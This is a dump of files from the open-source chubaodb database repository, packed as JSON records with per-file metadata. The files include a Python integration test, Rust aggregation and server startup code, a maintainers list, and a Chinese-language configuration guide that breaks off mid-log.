pytest\nimport requests\nimport json\nimport random\nimport config\nimport time\nimport numpy as np\n\n\ndef test_del_collection():\n url = \"http://\" + config.MASTER + \"/collection/delete/t1\"\n response = requests.delete(url)\n print(\"collection_delete---\\n\" + response.text)\n\n assert response.status_code == 200 or response.status_code == 555\n\n\ndef test_create_collection():\n url = \"http://\" + config.MASTER + \"/collection/create\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": \"t1\",\n \"partition_num\": 1,\n \"partition_replica_num\": 1,\n \"fields\": [\n {\"string\": {\"name\": \"name\"}},\n {\"int\": {\"name\": \"age\"}},\n {\"text\": {\"name\": \"content\"}},\n {\n \"vector\": {\n \"name\": \"photo\",\n \"array\": False,\n \"none\": True,\n \"train_size\": 1000,\n \"dimension\": 128,\n \"description\": \"PCA32,IVF100,PQ8\",\n \"metric_type\": \"L2\"\n }\n }\n ]\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n time.sleep(5) # TODO: FIX ME wait raft ok\n\n\ndef test_put():\n\n headers = {\"content-type\": \"application/json\"}\n\n for i in range(1, 20000):\n url = \"http://\" + config.ROUTER + \"/put/t1/\"+str(i)\n print(\"insert value \", i)\n data = {\n \"name\": \"name_\"+str(i),\n \"age\": i % 100,\n \"content\": \"hello tig \"+str(i),\n \"photo\": np.random.rand(128).tolist()\n }\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n\n\ndef test_search():\n time.sleep(5)\n response = requests.get(\n \"http://\"+config.ROUTER+\"/search/t1?query=hello%20tig&size=10&def_fields=content\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"name\"][:5] == \"name_\"\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 16, "blob_id": "22b4e892eb77c14db213e0129b148a583aea2619", "content_id": "b2a0ca2daea1309feb6646edbfcedf6f12e04fda", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 20, "license_type": "permissive", "max_line_length": 16, "num_lines": 1, "path": "/CHANGES.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# the change log\r\n\r\n" }, { "alpha_fraction": 0.34690210223197937, "alphanum_fraction": 0.35895538330078125, "avg_line_length": 32.400001525878906, "blob_id": "5d0aa8655551b3f6a4bb3609ce0b3f386dc985a1", "content_id": "0cb859de419f65e473632c3381abb39e387a7dd9", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 9458, "license_type": "permissive", "max_line_length": 169, "num_lines": 275, "path": "/src/pserver/simba/aggregation/group.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::util::{error::*, time::* , entity::Field};\r\nuse crate::*;\r\nuse crate::util::coding::{slice_f64, slice_i64, sort_coding::*};\r\n\r\nconst DEF_DATE_FORMAT: &'static str = \"%Y-%m-%d\";\r\n\r\n\r\npub enum Group {\r\n Term(Term),\r\n Date(Date),\r\n Range(Range),\r\n}\r\n\r\nimpl Group {\r\n pub fn new(name: String, params: Vec<String> , field:Field) -> ASResult<Group> {\r\n let group = match name.as_str() {\r\n \"term\" => match params.len() {\r\n 1 => Group::Term(Term {\r\n name: params[0].to_owned(),\r\n field,\r\n }),\r\n _ => {\r\n return result!(\r\n Code::ParamError,\r\n \"group term:({},{:?}) must and only one field param\",\r\n name,\r\n params\r\n )\r\n }\r\n },\r\n \"date\" => match params.len() {\r\n 1 => Group::Date(Date {\r\n name: params[0].to_owned(),\r\n field,\r\n format: None,\r\n }),\r\n 2 => Group::Date(Date {\r\n name: params[0].to_owned(),\r\n field,\r\n format: Some(params[1].to_owned()),\r\n }),\r\n _ => {\r\n return result!(\r\n Code::ParamError,\r\n \"group date:({},{:?}) param Incorrect , example date(birthday) or date(birthday,%Y-%m-%d %H:%M:%S)\",\r\n name,\r\n params\r\n )\r\n }\r\n },\r\n \"range\" => {\r\n\r\n if params.len()<2{\r\n return result!(Code::ParamError, \"range:({:?}) need format start-end , example range(field,5-10, 6-20)\", params) ; \r\n }\r\n\r\n let mut range = Range{\r\n name:params[0].clone(),\r\n field,\r\n ranges: Vec::with_capacity(params.len()-1),\r\n };\r\n for v in &params[1..]{\r\n let split: Vec<&str> = v.split(\"-\").collect() ;\r\n if split.len() != 2{\r\n return result!(Code::ParamError, \"range:({:?}) need format start-end , example range(field,5-10)\", params) ; \r\n }\r\n\r\n let start = split[0].trim();\r\n let start = if start.len() == 0{\r\n f64::MIN \r\n }else{\r\n start.parse::<f64>().map_err(|e| err!(Code::ParamError, \"range:({:?}) need format start-end , example range(5-11, 6-20) err:{:?}\", params , e))?\r\n };\r\n\r\n let end = split[1].trim();\r\n let end = if end.len() == 0{\r\n f64::MAX \r\n }else{\r\n end.parse::<f64>().map_err(|e| err!(Code::ParamError, \"range:({:?}) need format start-end , example range(5-12, 6-20) err:{:?}\", params , e))?\r\n };\r\n range.ranges.push((start,end, v.to_string()));\r\n }\r\n Group::Range(range)\r\n },\r\n _ => return result!(Code::ParamError, \"group:{} not define\", name),\r\n };\r\n\r\n Ok(group)\r\n }\r\n\r\n pub fn coding(&self, value: &[u8]) -> ASResult<Vec<String>> {\r\n\r\n if value.len()==0{\r\n return Ok(vec![String::default()]);\r\n }\r\n\r\n match self{\r\n Group::Term(term) =>term.coding(value),\r\n Group::Date(date) =>date.coding(value),\r\n Group::Range(range) =>range.coding(value),\r\n }\r\n }\r\n\r\n pub fn name<'a>(&'a self) -> &'a str {\r\n match &self{\r\n Group::Term(Term{name , ..}) | Group::Date(Date{name,..}) | Group::Range(Range{name,..}) =>{\r\n name\r\n }\r\n }\r\n }\r\n}\r\n\r\npub struct Term {\r\n name: String,\r\n field:Field,\r\n}\r\n\r\nimpl Term{\r\n fn coding(&self, v: &[u8]) -> ASResult<Vec<String>> {\r\n let array = self.field.array();\r\n let result = match &self.field{\r\n Field::int(_) | Field::date(_)=>{\r\n if array {\r\n let mut result = Vec::new();\r\n for v in i64_arr_decoding(v) {\r\n result.push(v.to_string());\r\n }\r\n result\r\n } else {\r\n vec![slice_i64(v).to_string()]\r\n }\r\n }\r\n Field::float(_)=>{\r\n if array {\r\n let mut result = Vec::new();\r\n for v in f64_arr_decoding(v) {\r\n result.push(v.to_string());\r\n }\r\n result\r\n } else {\r\n vec![slice_f64(v).to_string()]\r\n }\r\n }\r\n Field::string(_) | Field::text(_)=>{\r\n if array {\r\n let mut iter = str_arr_decoding(v);\r\n let mut result = Vec::new();\r\n while let Some(v) = iter.next() {\r\n result.push(std::str::from_utf8(v).unwrap().to_string());\r\n }\r\n result\r\n } else {\r\n vec![std::str::from_utf8(v).unwrap().to_string()]\r\n }\r\n }\r\n\r\n _ => return result!(Code::ParamError, \"field:{} not support term agg\", self.name),\r\n \r\n };\r\n Ok(result)\r\n }\r\n}\r\n\r\npub struct Range {\r\n name: String,\r\n field:Field,\r\n ranges: Vec<(f64, f64, String)>,\r\n}\r\n\r\nimpl Range{\r\n fn coding(&self, v: &[u8]) -> ASResult<Vec<String>> {\r\n let array = self.field.array();\r\n let mut result = Vec::new();\r\n let result = match &self.field{\r\n Field::int(_) | Field::date(_)=>{\r\n if array {\r\n for v in i64_arr_decoding(v) {\r\n let v = v as f64;\r\n for range in self.ranges.iter(){\r\n if v >= range.0 && v < range.1{\r\n result.push(range.2.clone());\r\n }\r\n }\r\n }\r\n } else {\r\n let v = slice_i64(v) as f64;\r\n for range in self.ranges.iter(){\r\n if v >= range.0 && v < range.1{\r\n result.push(range.2.clone());\r\n }\r\n }\r\n }\r\n result\r\n }\r\n Field::float(_)=>{\r\n let mut result = Vec::new();\r\n if array {\r\n for v in f64_arr_decoding(v) {\r\n for range in self.ranges.iter(){\r\n if v >= range.0 && v < range.1{\r\n result.push(range.2.clone());\r\n }\r\n }\r\n }\r\n } else {\r\n let v = slice_f64(v);\r\n for range in self.ranges.iter(){\r\n if v >= range.0 && v < range.1{\r\n result.push(range.2.clone());\r\n }\r\n }\r\n }\r\n result\r\n }\r\n \r\n _ => return result!(Code::ParamError, \"field:{} not support range agg\", self.name),\r\n };\r\n\r\n\r\n Ok(result)\r\n }\r\n}\r\n\r\npub struct Date {\r\n name: String,\r\n field:Field,\r\n format: Option<String>,\r\n}\r\n\r\nimpl Date{\r\n fn coding<'b>(&self, v: &[u8]) -> ASResult<Vec<String>> {\r\n let array = self.field.array();\r\n let format = self.format.as_deref().unwrap_or(DEF_DATE_FORMAT) ;\r\n let result = match &self.field{\r\n Field::int(_) | Field::date(_)=>{\r\n if array {\r\n let mut result = Vec::new();\r\n for v in i64_arr_decoding(v) {\r\n result.push(i64_time_str(v,format));\r\n }\r\n result\r\n } else {\r\n vec![i64_time_str(slice_i64(v),format)]\r\n }\r\n }\r\n Field::float(_)=>{\r\n if array {\r\n let mut result = Vec::new();\r\n for v in f64_arr_decoding(v) {\r\n result.push(i64_time_str(v as i64,format));\r\n }\r\n result\r\n } else {\r\n vec![i64_time_str(slice_f64(v) as i64,format)]\r\n }\r\n }\r\n Field::string(_) | Field::text(_)=>{\r\n if array {\r\n let mut iter = str_arr_decoding(v);\r\n let mut result = Vec::new();\r\n while let Some(v) = iter.next() {\r\n result.push(str_time_str(std::str::from_utf8(v).unwrap().into(),format)?);\r\n }\r\n result\r\n } else {\r\n vec![str_time_str(std::str::from_utf8(v).unwrap().into(),format,)?]\r\n }\r\n }\r\n _ => return result!(Code::ParamError, \"field:{} not support data agg\", self.name),\r\n };\r\n\r\n\r\n Ok(result)\r\n }\r\n}" }, { "alpha_fraction": 0.4163825809955597, "alphanum_fraction": 0.42556819319725037, "avg_line_length": 26.931507110595703, "blob_id": "d33bf49d7f94221a4f117ce61b205ad66465d7f1", "content_id": "e385cc75f4da8eaf26be2c8cdf0ea813c77d2c18", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 10560, "license_type": "permissive", "max_line_length": 126, "num_lines": 365, "path": "/src/pserver/simba/aggregation/mod.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "pub mod function;\r\npub mod group;\r\n\r\nuse self::{function::*, group::*};\r\nuse crate::pserver::simba::engine::rocksdb::RocksDB;\r\nuse crate::*;\r\nuse crate::{\r\n pserverpb::*,\r\n util::{\r\n entity::{BytesField, Collection, Field, ID_BYTES},\r\n error::*,\r\n },\r\n};\r\nuse std::cmp::Ordering;\r\nuse std::str::Chars;\r\nuse std::{collections::HashMap, sync::Arc};\r\n\r\npub mod group_type {\r\n type GroupType = &'static str;\r\n\r\n pub const TERM: GroupType = \"term\";\r\n pub const RANGE: GroupType = \"range\";\r\n pub const DATA: GroupType = \"data\";\r\n}\r\n\r\npub struct Method {\r\n name: String,\r\n param: Vec<String>,\r\n}\r\n\r\nimpl Method {\r\n fn name(&self) -> &str {\r\n match self.name.as_str() {\r\n \"hits\" => ID_BYTES,\r\n _ => self.param[0].as_str(),\r\n }\r\n }\r\n fn parse_method(str: &str) -> ASResult<Vec<Method>> {\r\n let mut result = vec![];\r\n if str.len() == 0 {\r\n return Ok(result);\r\n }\r\n\r\n let mut chars = str.chars();\r\n\r\n let method_name = |cs: &mut Chars| -> ASResult<Option<String>> {\r\n let mut name = String::new();\r\n loop {\r\n let v = cs.next();\r\n\r\n if v.is_none() {\r\n if name.len() == 0 {\r\n return Ok(None);\r\n } else {\r\n return result!(Code::ParamError, \"param:{} incorrect format\", str);\r\n }\r\n }\r\n let v = v.unwrap();\r\n\r\n match v {\r\n ')' => return result!(Code::ParamError, \"param:{} incorrect format\", str),\r\n '(' => return Ok(Some(name)),\r\n ' ' => {}\r\n ',' => {\r\n if name.len() > 0 {\r\n name.push(v)\r\n }\r\n }\r\n _ => name.push(v),\r\n }\r\n }\r\n };\r\n\r\n let method_param = |cs: &mut Chars| -> ASResult<Vec<String>> {\r\n let mut params = String::new();\r\n loop {\r\n let v = cs\r\n .next()\r\n .ok_or_else(|| err!(Code::ParamError, \"param:{} incorrect format\", str))?;\r\n match v {\r\n '(' => return result!(Code::ParamError, \"param:{} incorrect format\", str),\r\n ')' => return Ok(params.split(\",\").map(|s| s.to_owned()).collect()),\r\n ' ' => {}\r\n _ => params.push(v),\r\n }\r\n }\r\n };\r\n\r\n loop {\r\n let name = method_name(&mut chars)?;\r\n if name.is_none() {\r\n break;\r\n }\r\n let param = method_param(&mut chars)?;\r\n\r\n if param.len() == 0 {\r\n return result!(Code::ParamError, \"param len is 0, {}\", chars.as_str());\r\n }\r\n\r\n result.push(Method {\r\n name: name.unwrap(),\r\n param: param,\r\n });\r\n }\r\n\r\n Ok(result)\r\n }\r\n}\r\n\r\n// DataGroup, RangeGroup ,ValueGroup\r\n#[derive(Default)]\r\npub struct Aggregator {\r\n pub size: usize,\r\n pub groups: Vec<Group>,\r\n pub functions: Vec<Function>,\r\n pub count: u64,\r\n pub result: HashMap<String, Vec<Function>>,\r\n}\r\n\r\nimpl Aggregator {\r\n //structure Group by query string\r\n // group\r\n // term:name, example:?group=term(dept)\r\n // range: range(field,min,0,20,30,40,max) ?group=range(age,min,0,20,30,40,max)\r\n // data: data(field,yyyy-MM-dd) ?group=data(birthday,yyyy-MM-dd)\r\n // aggs\r\n // Stats(field) example ?fun=stats(age)\r\n // hits(size) example ?fun=hits(20)\r\n //full example ?group=term(dept),range(age,-0,0-20,20-30,30-40,40-),data(birthday,yyyy-MM)&fun=hits(20),stats(age)&size=10\r\n pub fn new(\r\n collection: &Arc<Collection>,\r\n size: usize,\r\n group_str: &str,\r\n fun_str: &str,\r\n ) -> ASResult<Self> {\r\n let mut agg = Aggregator {\r\n size: size,\r\n groups: vec![],\r\n functions: vec![],\r\n count: 0,\r\n result: HashMap::new(),\r\n };\r\n\r\n for ms in Method::parse_method(fun_str)? {\r\n let field = Self::get_field(&collection, ms.name())?;\r\n if !field.value() {\r\n return result!(\r\n Code::ParamError,\r\n \"field:{} not value config is false, it can not to group\"\r\n );\r\n }\r\n agg.functions.push(Function::new(\r\n ms.name,\r\n ms.param,\r\n collection.name.clone(),\r\n field,\r\n )?);\r\n }\r\n\r\n if agg.functions.len() == 0 {\r\n agg.functions.push(Function::Count(Count::new()));\r\n }\r\n\r\n for ms in Method::parse_method(group_str)? {\r\n let field = Self::get_field(&collection, ms.name())?;\r\n if !field.value() {\r\n return result!(\r\n Code::ParamError,\r\n \"field:{} not value config is false, it can not to group\"\r\n );\r\n }\r\n agg.groups.push(Group::new(ms.name, ms.param, field)?);\r\n }\r\n\r\n Ok(agg)\r\n }\r\n\r\n fn get_field(collection: &Arc<Collection>, name: &str) -> ASResult<Field> {\r\n if name == ID_BYTES {\r\n return Ok(Field::bytes(BytesField {\r\n name: name.to_string(),\r\n none: false,\r\n }));\r\n }\r\n for field in collection.fields.iter() {\r\n if field.name() == name {\r\n let target = field.clone();\r\n if !target.value() {\r\n return result!(\r\n Code::ParamError,\r\n \"field:{} not set value=true in schema\",\r\n name\r\n );\r\n }\r\n return Ok(target);\r\n }\r\n }\r\n return result!(Code::ParamError, \"field:{} not found in collection\", name);\r\n }\r\n\r\n pub fn map(&mut self, key: &str, value: &Vec<&[u8]>) -> ASResult<()> {\r\n self.count += 1;\r\n for v in value {\r\n self._map(key, v)?;\r\n }\r\n Ok(())\r\n }\r\n\r\n pub fn _map(&mut self, key: &str, value: &[u8]) -> ASResult<()> {\r\n match self.result.get_mut(key) {\r\n None => {\r\n let mut aggs = self.functions.clone();\r\n for agg in aggs.iter_mut() {\r\n agg.map(&value)?;\r\n }\r\n self.result.insert(String::from(key), aggs);\r\n }\r\n Some(aggs) => {\r\n for agg in aggs {\r\n agg.map(&value)?;\r\n }\r\n }\r\n }\r\n Ok(())\r\n }\r\n\r\n //TODO: FIX it by into\r\n pub fn make_vec(\r\n &mut self,\r\n req: &Arc<QueryRequest>,\r\n db: &Arc<RocksDB>,\r\n ) -> ASResult<Vec<AggValues>> {\r\n let mut result = Vec::with_capacity(self.size);\r\n\r\n for (k, v) in self.result.iter() {\r\n result.push(AggValues {\r\n key: k.clone(),\r\n values: v\r\n .iter()\r\n .map(|f| f.make_agg_value(Some(db)))\r\n .collect::<Vec<AggValue>>(),\r\n });\r\n }\r\n sort_and_resize(result, &req.sort, self.size)\r\n }\r\n}\r\n\r\npub fn make_vec(\r\n map: HashMap<String, AggValues>,\r\n sort: &Vec<Order>,\r\n size: usize,\r\n) -> ASResult<Vec<AggValues>> {\r\n println!(\"==============={}\", map.len());\r\n\r\n let result = sort_and_resize(map.into_iter().map(|(_, v)| v).collect(), sort, size);\r\n\r\n println!(\"==============={:?}\", result);\r\n result\r\n}\r\n\r\nfn sort_and_resize(\r\n mut result: Vec<AggValues>,\r\n sort: &Vec<Order>,\r\n size: usize,\r\n) -> ASResult<Vec<AggValues>> {\r\n let sort = if sort.len() > 0 {\r\n let mut sort_code = 0;\r\n if sort.len() > 1 {\r\n return result!(\r\n Code::ParamError,\r\n \"in agg sort value only support 1, example:sort=value:desc\"\r\n );\r\n }\r\n\r\n if sort[0].name.eq_ignore_ascii_case(\"key\") {\r\n sort_code += 2;\r\n }\r\n\r\n if sort[0].order.eq_ignore_ascii_case(\"asc\") {\r\n sort_code += 1;\r\n }\r\n sort_code\r\n } else {\r\n 0\r\n };\r\n\r\n result.sort_by(|a, b| {\r\n let mut ord = if sort & 2 == 2 {\r\n Ord::cmp(&a.key, &b.key)\r\n } else {\r\n cmp(&a.values, &b.values).unwrap()\r\n };\r\n if sort & 1 == 0 {\r\n ord = ord.reverse();\r\n }\r\n ord\r\n });\r\n\r\n if result.len() > size {\r\n unsafe { result.set_len(size) }\r\n }\r\n\r\n Ok(result)\r\n}\r\n\r\nfn cmp(a: &Vec<AggValue>, b: &Vec<AggValue>) -> ASResult<Ordering> {\r\n let len = a.len();\r\n if len != b.len() {\r\n return result!(\r\n Code::InternalErr,\r\n \"agg has err sort values the len not same {}/{}\",\r\n a.len(),\r\n b.len()\r\n );\r\n }\r\n\r\n for i in 0..len {\r\n let result = cmp_agg(&a[i], &b[i])?;\r\n if result != Ordering::Equal {\r\n return Ok(result);\r\n }\r\n }\r\n\r\n Ok(Ordering::Equal)\r\n}\r\n\r\nfn cmp_agg(a: &AggValue, b: &AggValue) -> ASResult<Ordering> {\r\n match (a.agg_value.as_ref(), b.agg_value.as_ref()) {\r\n (Some(agg_value::AggValue::Count(a)), Some(agg_value::AggValue::Count(b))) => {\r\n Ok(Ord::cmp(&a.count, &b.count))\r\n }\r\n (Some(agg_value::AggValue::Stats(a)), Some(agg_value::AggValue::Stats(b))) => {\r\n Ok(Ord::cmp(&a.count, &b.count))\r\n }\r\n (Some(agg_value::AggValue::Hits(a)), Some(agg_value::AggValue::Hits(b))) => {\r\n Ok(Ord::cmp(&a.count, &b.count))\r\n }\r\n _ => result!(\r\n Code::InternalErr,\r\n \"agg has err agg type not same {:?}/{:?}\",\r\n a,\r\n b\r\n ),\r\n }\r\n}\r\n\r\n#[test]\r\nfn group_test() {\r\n let ms = Method::parse_method(\"term(dept),range(age,-0,0-20,20-30,30-40,40-)\").unwrap();\r\n\r\n assert_eq!(\"term\", ms[0].name);\r\n assert_eq!(\"dept\", ms[0].param[0]);\r\n assert_eq!(\"range\", ms[1].name);\r\n assert_eq!(\"age\", ms[1].param[0]);\r\n assert_eq!(\r\n vec![\r\n String::from(\"-0\"),\r\n String::from(\"0-20\"),\r\n String::from(\"20-30\"),\r\n String::from(\"30-40\"),\r\n String::from(\"40-\")\r\n ],\r\n ms[1].param[1..].to_vec()\r\n );\r\n}\r\n" }, { "alpha_fraction": 0.6422287225723267, "alphanum_fraction": 0.6480938196182251, "avg_line_length": 29.311111450195312, "blob_id": "e7e87bd000e35957f31442675cbe2ea65e9f0517", "content_id": "4c21e38dc47bbb490a3b2d4a4a6b983fa10c31d6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 1364, "license_type": "permissive", "max_line_length": 71, "num_lines": 45, "path": "/src/pserver/simba/engine/engine.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::util::{config, entity::*, error::ASResult};\nuse std::path::{Path, PathBuf};\nuse std::sync::{\n atomic::{AtomicBool, Ordering::SeqCst},\n Arc,\n};\n\npub trait Engine {\n fn flush(&self) -> ASResult<()>;\n fn release(&self);\n}\n\npub struct BaseEngine {\n pub conf: Arc<config::Config>,\n pub collection: Arc<Collection>,\n pub partition: Arc<Partition>,\n pub stoped: AtomicBool,\n}\n\nimpl BaseEngine {\n pub fn base_path(&self) -> PathBuf {\n Path::new(&self.conf.ps.data)\n .join(Path::new(\n format!(\"{}\", self.partition.collection_id).as_str(),\n ))\n .join(Path::new(format!(\"{}\", self.partition.id).as_str()))\n }\n\n pub fn runing(&self) -> bool {\n !self.stoped.load(SeqCst)\n }\n}\n" }, { "alpha_fraction": 0.6551724076271057, "alphanum_fraction": 0.6551724076271057, "avg_line_length": 7.285714149475098, "blob_id": "26c9f36ea395d0fc3e10fa76f15bb97b45998e66", "content_id": "352dafa270d62717db4de5f3d29f43dad1225214", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 58, "license_type": "permissive", "max_line_length": 21, "num_lines": 7, "path": "/MAINTAINERs.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# chubaodb developers\n\nHaifeng Liu\nJian Sun\nDeqiang Lin\nJinjun Zhang\nMofei Zhang\n" }, { "alpha_fraction": 0.44879063963890076, "alphanum_fraction": 0.4514361321926117, "avg_line_length": 33.81578826904297, "blob_id": "294508e0e5cfc2512232e817a5f8072d4238dee8", "content_id": "07ece6d2679beb3a94063632716417ef3dc9792f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 5292, "license_type": "permissive", "max_line_length": 99, "num_lines": 152, "path": "/src/main.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse chubaodb::{master, pserver, router, util};\nuse clap::{App, Arg, SubCommand};\nuse log::{error, info};\nuse std::sync::{mpsc::channel, Arc};\nuse std::thread;\n\nfn main() {\n let app = App::new(\"chubaodb\")\n .version(clap::crate_version!())\n .about(\"hello index world\")\n .subcommand(\n SubCommand::with_name(\"all\")\n .arg(\n Arg::with_name(\"ip\")\n .short(\"i\")\n .value_name(\"IP\")\n .required(false)\n .default_value(\"\")\n .help(\"set your local ip , otherwise it will be automatically discovered\"),\n )\n .arg(\n Arg::with_name(\"config\")\n .short(\"c\")\n .value_name(\"CONFIG\")\n .required(true)\n .help(\"set your config file path, or as 'default'\"),\n ),\n )\n .subcommand(\n SubCommand::with_name(\"master\")\n .arg(\n Arg::with_name(\"ip\")\n .short(\"i\")\n .value_name(\"IP\")\n .required(false)\n .default_value(\"\")\n .help(\"set your local ip, otherwise it will be automatically discovered\"),\n )\n .arg(\n Arg::with_name(\"config\")\n .short(\"c\")\n .value_name(\"CONFIG\")\n .required(true)\n .help(\"set your config file path, or as 'default'\"),\n ),\n )\n .subcommand(\n SubCommand::with_name(\"ps\").arg(\n Arg::with_name(\"config\")\n .short(\"c\")\n .value_name(\"CONFIG\")\n .required(true)\n .help(\"set your config file path, or as 'default'\"),\n ),\n )\n .subcommand(\n SubCommand::with_name(\"router\").arg(\n Arg::with_name(\"config\")\n .short(\"c\")\n .long(\"config\")\n .value_name(\"CONFIG\")\n .default_value(\"config/config.toml\")\n .help(\"set your config file path, or as 'default'\"),\n ),\n )\n .get_matches();\n\n let (mut subcommand, some_options) = app.subcommand();\n\n let conf = match some_options {\n Some(so) => {\n let conf_path = so\n .value_of(\"config\")\n .or_else(|| panic!(\"No config file path\"))\n .unwrap();\n println!(\"load config by path: {}\", conf_path);\n util::config::load_config(conf_path, so.value_of(\"ip\"))\n }\n None => {\n eprintln!(\"No config args were found so load the default values!\");\n subcommand = \"all\";\n let mut conf = util::config::load_config(\"default\", None);\n conf.global.ip = String::from(\"127.0.0.1\");\n conf\n }\n };\n\n let arc_conf = Arc::new(conf);\n\n let (tx, rx) = channel::<String>();\n\n match subcommand {\n \"master\" => {\n let arc = arc_conf.clone();\n let tx_clone = tx.clone();\n thread::spawn(|| {\n let _ = master::server::start(tx_clone, arc);\n });\n }\n \"ps\" => {\n let arc = arc_conf.clone();\n let tx_clone = tx.clone();\n thread::spawn(|| {\n let _ = async_std::task::block_on(pserver::server::start(tx_clone, arc));\n });\n }\n \"router\" => {\n let arc = arc_conf.clone();\n let tx_clone = tx.clone();\n thread::spawn(|| {\n let _ = router::server::start(tx_clone, arc).unwrap();\n });\n }\n \"all\" => {\n let arc = arc_conf.clone();\n let tx_clone = tx.clone();\n thread::spawn(|| {\n let _ = master::server::start(tx_clone, arc);\n });\n\n let arc = arc_conf.clone();\n let tx_clone = tx.clone();\n thread::spawn(|| {\n let _ = router::server::start(tx_clone, arc).unwrap();\n });\n\n let arc = arc_conf.clone();\n let tx_clone = tx.clone();\n thread::spawn(|| {\n let _ = async_std::task::block_on(pserver::server::start(tx_clone, arc));\n });\n }\n _ => panic!(\"Subcommand {} is unknow\", subcommand),\n }\n\n info!(\"All ChubaoDB servers were started successfully!\");\n\n error!(\"{:?}\", rx.recv().unwrap());\n}\n" }, { "alpha_fraction": 0.5588153004646301, "alphanum_fraction": 0.6911148428916931, "avg_line_length": 45.1741943359375, "blob_id": "68e4f343d926d4ccd5af3945aff9d600d3e16c02", "content_id": "f65008029b0d8bea025064c6ba0a95eac1046ced", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7802, "license_type": "permissive", "max_line_length": 186, "num_lines": 155, "path": "/docs/zh-CN/src/config.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# 配置文件\n\n前面我们已经学会了,如果以最基本的方式启动chubaodb。下面我们来学一种非常高级的用法,通过配置文件和启动参数来启动chubaodb。在学这个之前我们可能需要了简单解下chubaodb的架构,chubaodb份了三个角色`master`,`pserver`,`router`.\n\n* master 是集群管理,元数据管理的模块。表结构,数据均衡,failover 等\n* pserver 是数据存储及计算节点。\n* router 是提供了restful的数据查询组件。router 是无状态的。\n\n下面是一个简单的config例子。也是默认config的参数\n\n````\n[global]\n# the name will validate join cluster by same name\nname = \"chubaodb\"\n# your server ip for connect, you can use -i in rags to set it\n# ip = \"127.0.0.1\"\n# log path , If you are in a production environment, You'd better set absolute paths\nlog = \"logs/\"\n# default log type for any model\nlog_level = \"info\"\n# log file size for rolling\nlog_limit_bytes = 128000000\n# number of reserved log files\nlog_file_count = 10\n# Whether to use distributed storage. If it's true, there's only one\nshared_disk = false\n\n[router]\n# port for server\nhttp_port = 8080\n\n[ps]\n#set zone num, default is 0\nzone = \"default\"\n# you data save to disk path ,If you are in a production environment, You'd better set absolute paths\ndata = \"data/\"\n# port for server\nrpc_port = 9090\n# how often to refresh the index\nflush_sleep_sec = 3\n [ps.raft]\n heartbeat_port = 10030\n replicate_port = 10031\n # how size of num for memory\n log_max_num = 200000\n # how size of num for memory\n log_min_num = 100000\n # how size of num for memory\n log_file_size_mb = 128\n # Three without a heartbeat , follower to begin consecutive elections\n heartbeate_ms = 500\n \n\n[[masters]]\n# master ip for service\nip = \"127.0.0.1\"\n# port for server\nhttp_port = 7070\n# master data path for meta\ndata = \"data/meta/\"\n````\n\n可以发现我们把 三个模块写到了同一个配置文件。同时各个节点通过参数来选择启动的模块。实现了一个配置文件走天下的易用功能。\n\n可以通过 `./chubaodb --help` 获得参数说明\n\n````\n(base) ➜ release git:(async-std) ✗ ./chubaodb --help\nchubaodb 0.1.0\nhello index world\n\nUSAGE:\n chubaodb [SUBCOMMAND]\n\nFLAGS:\n -h, --help Prints help information\n -V, --version Prints version information\n\nSUBCOMMANDS:\n all \n help Prints this message or the help of the given subcommand(s)\n master \n ps \n router \n````\n\n启动可以通过 `./chubaodb all --help ` , `./chubaodb ps --help ` .....来获取更多。参数说明\n\n* 比如我们想把三个模块在一个进程中启动 那么就是. `./chubaodb all -c ../../config/config.toml` .\n\n````\n./chubaodb all -c ../../config/config.toml\nload config by path: ../../config/config.toml\n2020-07-15 11:05:39 - INFO - chubaodb::util::config(189) - log init ok \n2020-07-15 11:05:39 - INFO - chubaodb(149) - All ChubaoDB servers were started successfully!\n2020-07-15 11:05:39 - INFO - chubaodb::router::server(29) - router is listening on http://0.0.0.0:8080\n2020-07-15 11:05:39 - INFO - 